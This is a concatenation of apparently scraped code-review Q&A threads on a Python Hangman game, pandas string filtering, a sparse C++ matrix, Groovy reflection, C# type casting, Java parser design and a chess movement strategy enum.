    print 'Welcome to the game, Hangman!'
    print ('I am thinking of a word that is ') + intro + (' letters long.')
    print ('------------')

    while mistakesMade > 0 and mistakesMade <= 8 and wordGuessed is False:
        if secretWord == getGuessedWord(secretWord, lettersGuessed):
            wordGuessed = True
            break
        print ('You have ') + str(mistakesMade) + (' guesses left.')
        print ('Available letters: ') + getAvailableLetters(lettersGuessed)
        guess = raw_input('Please guess a letter: ').lower()
        if guess in secretWord:
            if guess in lettersGuessed:
                print ("Oops! You've already guessed that letter: ") + getGuessedWord(secretWord, lettersGuessed)
                print ('------------')
            else:
                lettersGuessed.append(guess)
                print ('Good guess: ') + getGuessedWord(secretWord, lettersGuessed)
                print ('------------')
        else:
            if guess in lettersGuessed:
                print ("Oops! You've already guessed that letter: ") + getGuessedWord(secretWord, lettersGuessed)
                print ('------------')
            else:
                lettersGuessed.append(guess)
                mistakesMade -= 1
                print ('Oops! That letter is not in my word: ') + getGuessedWord(secretWord, lettersGuessed)
                print ('------------')

    if wordGuessed == True:
        return 'Congratulations, you won!'
    elif mistakesMade == 0:
        print ('Sorry, you ran out of guesses. The word was ') + secretWord

For the first function you could use set operations and the built-in string module:

import string

ALPHABET = set(string.ascii_lowercase)

def get_available_letters(letters_guessed):
    '''
    letters_guessed: iterable, what letters have been guessed so far
    returns: string, comprised of letters that represents what letters have not
      yet been guessed.
    '''
    return "".join(sorted(ALPHABET - set(letters_guessed)))

Note that I renamed your function/variables to adhere to Python's official style-guide, PEP8.

If you don't care that the return value is sorted, or a string, you can just return the set right away:

def get_available_letters(letters_guessed):
    '''
    letters_guessed: iterable, what letters have been guessed so far
    returns: set, letters that have not yet been guessed.
    '''
    return ALPHABET - set(letters_guessed)

In your actual game function, here are a few nitpicks:

Use str.format for an easier way to put some value somewhere in a text. This changes print ('I am thinking of a word that is ') + intro + (' letters
long.') to print 'I am thinking of a word that is {} letters
long.'.format(len(secretWord)) and print ('You have ') + str(mistakesMade) + (' guesses left.') to print ('You have {} guesses left.'.format(mistakesMade))
while mistakesMade > 0 and mistakesMade <= 8 and wordGuessed is False: could be while 0 < mistakesMade <= 8 and not wordGuessed
Use a set also for lettersGuessed, then if guess in lettersGuessed: becomes \$\mathcal{O}(1)\$, instead of \$\mathcal{O}(n)\$
if wordGuessed == True: can just be if wordGuessed:


Searching for many different names in a Panda frame Consider the following example code:
c1 = ["Mary herself","Mary is mine","John himself","John is mine","Alan himself","Alan is mine"]
s1 = pd.Series(c1)
c2 = [1,2,3,4,5,6]
s2 = pd.Series(c2)

dictionary = {"A":s1,"B":s2}

df = pd.DataFrame(dictionary)
print(df)
for i in range(6):
  name = df["A"].iloc[i]
  if "Mary" in name:
    print(name)
  if "Alan" in name:
    print(name)
  else:
    print("no")

I want to filter strings that include "Mary" or "Alan". My solution works well for only two cases, but I wonder if there is a more suitable solution for a lot more cases. For example, if I want to filter "John" and "Brown" too, I would already need four if statements.
How can I improve my code so I wouldn't have to add a new if statement for each name I want to filter?

Your code follows this pseudo-code pattern:
if any of these strings are in name:
    do x

The simplest way to express that in Python is to invert the condition:
if name in any of these strings:
    do x

Or as actual Python:
if name in ["Alan", "Mary"]:
    print(name)


Large matrix with lots of repetitive fields (C++) I wrote a timetabling program and I have been using a matrix to check for clashes between courses. Index (i, j) in the matrix tells us how many people are in both courses i and j.

My previous Matrix was just using nested vectors:

std::vector<std::vector<int>> clashes;

This would throw std::bad_alloc because the matrix is of dimension 18000 x 18000.

Since many of the entries would be 0, I made my own matrix class using unordered maps. This preserves a lot of data as it uses a default value for all of entries that have not been given a value.

template <typename T>
class UMapMatrix
{
public:

UMapMatrix(T default_val) : default_val(default_val) {
}

T get(const int& a, const int& b) const {
    int x, y;
    if (a < b) {
        x = a;
        y = b;
    }
    else {
        x = b;
        y = a;
    }

    auto search = data.find(x);
    if (search != data.end()) {
        auto search2 = search->second.find(y);
        if (search2 != search->second.end()) {
            return search2->second;
        }
    }
    return default_val;
}

void set(const int& a, const int& b, T val) {
    if (a < b) data[a][b] = val;
    else data[b][a] = val;
}

private:
T default_val;
std::unordered_map<int, std::unordered_map<int, T>> data;
};

Are there any significant improvements that could be made to the memory usage and/or speed?
Are there any other data structures that could be used here?

Why have nested unordered_maps. Just use a single unordreed map using a key that is the x and y coordinates?

One enhancement I would add is using the operator[][] to access the elements.

#include <unordered_map>
#include <utility>
#include <iostream>
#include <functional>

template <typename T>
class UMapMatrix
{
    public:

        UMapMatrix(T const& default_val = T())
            : default_val(default_val)
        {
        }

        T const& get(int a, int b) const
        {
            auto key    = getKey(a, b);
            auto search = data.find(key);
            return (search != data.end())
                       ? search->second;
                       : default_val;
        }

        void set(int a, int b, T const& val)
        {
            data.insert(std::make_pair(getKey(a,b), val));
        }
        void set(int a, int b, T&& val)
        {
            data.insert(std::make_pair(getKey(a,b), std::move(val)));
        }

        class Row
        {
            UMapMatrix const* parent;
            int a;

            public:
            Row(UMapMatrix const* parent, int a)
                : parent(parent)
                , a(a)
            {}
            T const& operator[](int b) const
            {
                return parent->get(a, b);
            }
        };
        Row operator[](int a) const {
            return Row{this, a};
        }

    private:
        T default_val;
        using Key = std::pair<int, int>;
        struct PairHash
        {
            std::size_t operator()(Key const& key) const
            {
                return std::hash<int>()(key.first) ^ std::hash<int>()(key.second);
            }
        };

        Key getKey(int a, int b) const {

            int x = std::min(a, b);
            int y = std::max(a, b);
            return std::make_pair(x, y);
        }

        std::unordered_map<Key, T, PairHash>  data;
};

int main()
{
    UMapMatrix<int>     data;

    std::cout << data.get(1500, 3000) << "\n";
    data.set(1500, 3000, 234);

    std::cout << data[1500][3000] << "\n";
}


Returning Groovy class fields as a map I want to get a map of all the fields in a class (aka value object) in a generic way.  The following works fine for me:

class Baz {
  String foo = "foo2"
  int bar = 2

  public Map asMap() {
    def map = [:] as HashMap
    this.class.getDeclaredFields().each {
      if (it.modifiers == java.lang.reflect.Modifier.PRIVATE) {
        map.put(it.name, this[it.name])
      }
    }
    return map
  }
}

But this doesn't feel like the proper way.  Is there a better approach?

Another alternative (very similar to Matt's) is to use the synthetic field property (which is set for default class properties, but not for your own defined props):

class Baz {
  String foo = "foo2"
  int bar = 2

  public Map asMap() {
    this.class.declaredFields.findAll { !it.synthetic }.collectEntries {
      [ (it.name):this."$it.name" ]
    }
  }
}


Testing whether an abstract object is an instance of one of the several concrete classes I have an abstract object and I need to test whether it is an instance of one of the several concrete classes. Every concrete class has a Value property that is not inherited.

The following points need to be true:

Single cast per class
Short circuit when one test is successful
No unnecessary casts

This is the solution I came up with:

public string Value { get; set; }

code in the setter of ObserverDto:

_observerDto = value; // underlying field
var oldValue = Value;

// single cast before test, goto to emulate if - else if
var booleanObserverDto = ObserverDto as BooleanObserverDto;
if (booleanObserverDto != null)
{
    Value = booleanObserverDto.CurrentValue == true ? booleanObserverDto.TrueText :
            booleanObserverDto.CurrentValue == false ? booleanObserverDto.FalseText : booleanObserverDto.CurrentValue.ToString();
    goto castDone;
}

var intObserverDto = ObserverDto as IntObserverDto;
if (intObserverDto != null)
{
    Value = intObserverDto.CurrentValue.ToString();
    goto castDone;
}

var decimalObserverDto = ObserverDto as DecimalObserverDto;
if (decimalObserverDto != null)
{
    Value = Convert.ToSingle(decimalObserverDto.CurrentValue).ToString(CultureInfo.CurrentCulture);
    goto castDone;
}

var stringObserverDto = ObserverDto as StringObserverDto;
if (stringObserverDto != null)
    Value = stringObserverDto.CurrentValue;

castDone:;

if(string.IsNullOrEmpty(Value))
    Value = "NULL";

if(!Value.Equals(oldValue))
    UpdateObserver(Name, Value);

I don't know of any possibility to have a statement between if and else if, but it might be better than using goto. Is there any way I could do a cast before an else if?

I can't change anything about the class structure or make it more generic because these classes are from a library I need to use.

Assuming that you have a good reason for not having an overriden GetValue() method on each sub-class, an extension method for each class, say, GetValue() should solve it.

public static class ObserverExtensions
{
  private static readonly IDictionary<Type, Func<ObserverDto, string>> _lookup = new Dictionary<Type, Func<ObserverDto, string>>
  {
     {typeof(BooleanObserverDto), dto => ((BooleanObserverDto)dto).GetValue() },
     {typeof(IntObserverDto), dto => ((IntObserverDto)dto).GetValue() },
     {typeof(DecimalObserverDto), dto => ((DecimalObserverDto)dto).GetValue() },
     {typeof(StringObserverDto), dto => ((StringObserverDto)dto).GetValue() },
  };

  public static string GetValue(this ObserverDto observerDto)
  {
       return _lookup[observerDto.GetType()](observerDto);
  }

  public static string GetValue(this BooleanObserverDto booleanObserverDto)
  {
     return booleanObserverDto.CurrentValue == true ? booleanObserverDto.TrueText :
            booleanObserverDto.CurrentValue == false ? booleanObserverDto.FalseText : booleanObserverDto.CurrentValue.ToString();
  }

  public static string GetValue(this IntObserverDto intObserverDto)
  {
     return intObserverDto.CurrentValue.ToString();
  }

  public static string GetValue(this DecimalObserverDto decimalObserverDto)
  {
     return Convert.ToSingle(decimalObserverDto.CurrentValue).ToString(CultureInfo.CurrentCulture);
  }

  public static string GetValue(this StringObserverDto stringObserverDto)
  {
     return stringObserverDto.CurrentValue;
  }
}

//...
Value = ObserverDto.GetValue();

One nice thing about this solution  is that we can add more classes (say, DateTimeObserverDto) without having to open up the set/update code. We simply add another extension method.

Edit: Correction

The extension methods only work if the references to the objects are of the concrete type. It doesn't work when passing in ObserverDto objects

// Passed
[TestMethod]
public void CheckConversions()
{
     var a = new IntObserverDto { CurrentValue = 17 };
     var b = new DecimalObserverDto { CurrentValue = 19.1m };
     var c = new BooleanObserverDto { CurrentValue = false };
     var d = new StringObserverDto { CurrentValue = "Hello World" };

     Assert.AreEqual("Hello World", d.GetValue());
     Assert.AreEqual("False", c.GetValue());
     Assert.AreEqual("19.1", b.GetValue());
     Assert.AreEqual("17", a.GetValue());
}

// Fails (doesn't compile) - no GetValue() for ObserverDto
[TestMethod]
public void CheckConversions()
{
     ObserverDto a = new IntObserverDto { CurrentValue = 17 };

     Assert.AreEqual("17", a.GetValue());
}

Best I can think of (sans adding a virtual method to ObserverDto) is use a lookup in the extension method (see above)


Parse File or String input in a uniform way: Is it possible with Generics? I have a Parser class which creates a collection of String pairs, parsed in the format key=value.

public class Parser{
    private final HashMap<String, String> val;
    private final File source;

    public Parser(final File path){
        /*initialise stuff*/
        val=new HashMap<>();
        source=path; //throws exception if null but omitted for brevity
        /* and finally parse the file */
        parse();
    }

parse() reads source line-by-line using Scanner and populates the collection:

public void parse() {
    final Scanner sc=new Scanner(source);
    while(sc.hasNextLine()){
        //do stuff
    }
    sc.close();
}

The problem is, there are other parsers that utilise this class, and sometimes the parser needs to parse a String instead of a File. This leads to duplication of effort. Basically the code snippet above, with its signature changed to public void parse(final String raw). This led me to the following abomination:

private void parseDecision(final String possibleStr){
    final Scanner sc;

    if(possibleStr==null) //use File
        sc=new Scanner(source); //remember source is a field
    else
        sc=new Scanner(possibleStr);
    /*...*/
}

The abomination is being called from both parse (with argument null) and parse(String), and thus avoids code duplication. But when I look at it I can't help thinking there's a better way to do this.

I thought about using Generics. I've never written a Generic class before and I can't coerce Scanner into accepting T as either String or File, which would have been nice.

Which leads me to my question(s):

Is the use of parseDecision a code smell or am I seeing ghosts?
Can this be done in a better way?
If yes, can it be done with Generics?

Yup - that's an abomination.

What you are really looking for is

void parse(Scanner sc) {...}

which can be called from parse(), which passes it the File scanner; and from parse(String), which passes it the string scanner.

It's likely - but not certain - that this method should really be

HashMap<String,String> parse(Scanner sc) {...}

The clue that this might be so is here in your constructor

public Parser(final File path){
    /*initialise stuff*/
    val=new HashMap<>();
    source=path; //throws exception if null but omitted for brevity
    /* and finally parse the file */
    parse();
}

You're doing verbing in the constructor, which is a bad sign.  It suggests that Parser is (at different times) responsible for parsing the file and acting as a value type.  Those are two different concerns, and should have two different representations.

Another bad sign is that you are creating Scanners in the same class that is doing work.  Given that in your current interface, you need to create a Scanner, I'm inclined to guess that the refactoring you need is to create a new class that provides the parse(Scanner) implementation.  The existing Parser delegates the work while providing the backward compatible behavior.

If the existing Parser needs more than just key/value pairs, then you might really be looking for

ParseResult parse(Scanner sc) {...}

where ParseResult contains the Map and whatever other state the application needs after the parsing is completed.


Choosing a movement strategy based on the type of chess piece PawnMovement ... KingMovement are of type Movement. This is implementation of strategy pattern. Basing on actual value of PieceType I want to choose proper strategy. How to avoid long if/else statements or switch?

    PieceType pieceType;
    if(this.board.getPieceAt(from) != null) {
        pieceType = this.board.getPieceAt(from).getType();
    } else {
        throw new InvalidMoveException();
    }

    if (pieceType == PieceType.PAWN) {
        contextMovement.setContext(new PawnMovement());
    } else if (pieceType == PieceType.ROOK) {
        contextMovement.setContext(new RookMovement());
    } else if (pieceType == PieceType.KNIGHT) {
        contextMovement.setContext(new KnightMovement());
    } else if (pieceType == PieceType.BISHOP) {
        contextMovement.setContext(new BishopMovement());
    } else if (pieceType == PieceType.QUEEN) {
        contextMovement.setContext(new QueenMovement());
    } else if (pieceType == PieceType.KING) {
        contextMovement.setContext(new KingMovement());
    }
    return contextMovement.executeMovement(from, to, board);

The complexity of approach is too high, it can be reduced to the following:

PieceType pieceType = getPieceType();
contextMovement.setContext(pieceType.getMovement());
return contextMovement.executeMovement(from, to, board);

The PieceType enum (probably call it Piece?) can be extended with:

public enum Piece {

  PAWN() {
    @Override
    public Movement getMovement() {
      return new PawnMovement();
    }
  }, ... // other elements;

  public abstract Movement getMovement();

}